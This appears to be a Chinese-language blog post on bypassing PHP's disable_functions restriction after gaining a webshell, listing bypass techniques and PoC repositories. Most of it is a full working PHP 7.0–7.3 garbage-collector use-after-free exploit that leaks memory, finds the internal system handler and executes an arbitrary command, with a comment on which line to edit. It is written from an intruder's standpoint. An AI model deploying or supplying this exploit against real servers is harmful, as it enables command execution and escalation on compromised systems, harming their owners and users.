参考文章和poc(文中均有poc下载地址) :

https://www.uedbox.com/post/59295/

https://www.uedbox.com/post/59402/

当然 freebuf 这篇文章写的也很不错,但是偏重于原理,以后一定要再学习  https://www.freebuf.com/articles/web/169156.html

啥是disable_functions Bypass 呢?

对于入侵者来说,拿到一个webshell之后,如果想要进一步获取更高的权限或更多的数据和信息,执行系统命令几乎是必须的。

为了安全,运维人员会禁用PHP的一些“危险”函数,例如:

dl,eval,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link 等

将其写在php.ini配置文件中,就是我们所说的disable functions了。  

Bypass disable_functions Shell

Bypass涉及禁用函数列表:

dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

shell绕过已实现的方式:

  • 常规绕过: exec、shell_exec、system、passthru、popen、proc_open
  • ld_preload绕过: mail、imap_mail、error_log、mb_send_mail
  • pcntl_exec
  • imap_open
  • fastcgi
  • com
  • apache mod-cgi

目录结构:

  • env - docker环境, 用于测试各类绕过exp
  • papar - bypass原理
  • exp - bypass脚本

仓库:https://github.com/l3m0n/Bypass_Disable_functions_Shell

PHP 7.1-7.3 disable_functions bypass

利用php json序列化漏洞,以绕过disable_functions并执行系统命令。

适用版本

  • 7.1 - all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)

仓库:https://github.com/mm0r1/exploits/tree/master/php-json-bypass




这里直接给出全版本poc

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1

#直接修改红色字体的代码就好,注意,服务器的环境必须是Linux ,如果是Windows ,则无法运行; uname -a 命令在Linux的意思就是查看系统信息

pwn("uname -a"); function pwn($cmd) {
global $abc, $helper; function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
} function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
} function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
} function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
} function parse_elf($base) {
$e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
} if(!$data_addr || !$text_size || !$data_size)
return false; return [$data_addr, $text_size, $data_size];
} function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue; $leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue; return $data_addr + $i * 8;
}
} function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
} function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
} class ryat {
var $ryat;
var $chtg; function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
} class Helper {
public $a, $b, $c, $d;
} if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
} $n_alloc = 10; # increase this value if you get segfaults $contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles(); $v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0]; $helper = new Helper;
$helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
} # leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8; # fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6); # fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
} if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
} if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
} if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
} # fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
} # pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit();
}

支持 PHP7.0~7.3

GitHub地址 :https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php




当然,网上还给出了 antword 蚁剑直接绕过的插件,另一篇文章里面有简写,,

disable_functions Bypass的更多相关文章

  1. PHP 7.0 7.3 (Unix) - 'gc' Disable Functions Bypass

    <?php # PHP 7.0-7.3 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.ph ...

  2. [转+自]disable_functions之巧用LD_PRELOAD突破

    写在前面: 通过知乎的一篇艰难的渗透提权,引发了一些对于disable_funcionts绕过的思考,虽然在暑假日记中记载了四种绕过disable_functions,比如com组件,pcntl_ex ...

  3. 2020新春公益赛 writeup

    简单的招聘系统 无需注册账号,admin'or 1#登陆,到blank page页面,在输入key处发现有注入点: /pages-blank.php?key=1%27+union+select+1%2 ...

  4. [BUUOJ记录] [GYCTF]EasyThinking

    主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法. ThinkPHP6.0.0任意文件操作漏洞 理论分析 进入题目是一个简单的操作页面,dirma ...

  5. GYCTF Web区部分WP

    目录: Blacklist Easyphp Ezsqli FlaskApp EasyThinking 前言: 这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题 ...

  6. pwnkit漏洞分析-CVE-2021-4034

    研究了一下前段时间的Polkit提权漏洞,里面有很多以前不知道的技巧.漏洞很好用,通杀CENTOS.UBUNTU各版本. 主要是分析这个POC触发原理.POC如下: /* * Proof of Con ...

  7. PHP Execute Command Bypass Disable_functions

    先简单说一下php调用mail()函数的过程. 看到源码ext/mail.c 236行: char *sendmail_path = INI_STR("sendmail_path" ...

  8. 蚁剑AntSword插件:Bypass disable_Functions

    参考文章: https://www.uedbox.com/post/58634/ 参考视频: https://www.bilibili.com/video/BV1Et411G7D7?from=sear ...

  9. php safe mode bypass all <转>

    PHP safe mode bypass from 4.x to 5.x all. Functions: * mb_send_mail* curl_init* imap_open* mail* ion ...

随机推荐

  1. 实战教程:如何将自己的Python包发布到PyPI上

    1. PyPi的用途 Python中我们经常会用到第三方的包,默认情况下,用到的第三方工具包基本都是从Pypi.org里面下载. 我们举个栗子: 如果你希望用Python实现一个金融量化分析工具,目前 ...

  2. 【Vue】1.前端项目初始化

    1.前提 安装nodejs: https://nodejs.org/en/, 安装LTS稳定版本 安装Vscode: https://code.visualstudio.com/ 2.安装Vue脚手架 ...

  3. web服务器专题:tomcat基础及模块

    Web服务器专题:Tomcat(一)基础架构 针对java系的经典服务器,打算系统的整理一下Tomcat的机制和一些原理,以此记录. 插一则题外话,关于tomat这个名字的由来:Tomcat 名称的由 ...

  4. 【SDOI2013】JZOJ8月3日提高组T4 直径

    题目 题目描述 小 Q 最近学习了一些图论知识.根据课本,有如下定义. 树:无回路且连通的无向图,每条边都有正整数的权值来表示其长度.如果一棵树有 N 个节点,可以证明其有且仅有 N-1 条边. 路径 ...

  5. 20200509_设置笔记本使用有线访问外网同时wifi访问外网

    1. 控制面板\所有控制面板项\网络连接 2. wifi的使用的手机热点, dhcp分配的, 不用做配置 3. 笔记本获取到的内网静态地址是192.168.3.11, 网关是192.168.3.254 ...

  6. charles的安装

    1:点击安装文件charles-proxy-4.2.8-win64.msi 2:点击下一步 3:勾选同意,点击"next"按钮 4:指定安装的路径,继续点击"next&q ...

  7. 部署 Prometheus 和 Grafana 到 k8s

    在 k8s 中部署 Prometheus 和 Grafana Intro 上次我们主要分享了 asp.net core 集成 prometheus,以及简单的 prometheus 使用,在实际在 k ...

  8. 第10.10节 Python使用__init__.py自动加载包下内容

    在前面章节老猿介绍了包下模块及子包的加载的各种方式,并说明包的加载首先是自动加载包下的__init__.py文件.在<第10.6节 Python包的概念>中介绍了__init__.py文件 ...

  9. PyQt(Python+Qt)学习随笔:QAbstractItemView的SelectionBehavior属性

    老猿Python博文目录 老猿Python博客地址 一.概述 SelectionBehavior属性用于控制选择行为操作的数据单位,是指选择时选中数据是按行.按列还是按项来选择.SelectionBe ...

  10. JAVA课堂题目--递归来判断回数

    package class20190923; import java.util.Scanner; public class Classtext { private static int n=0; pr ...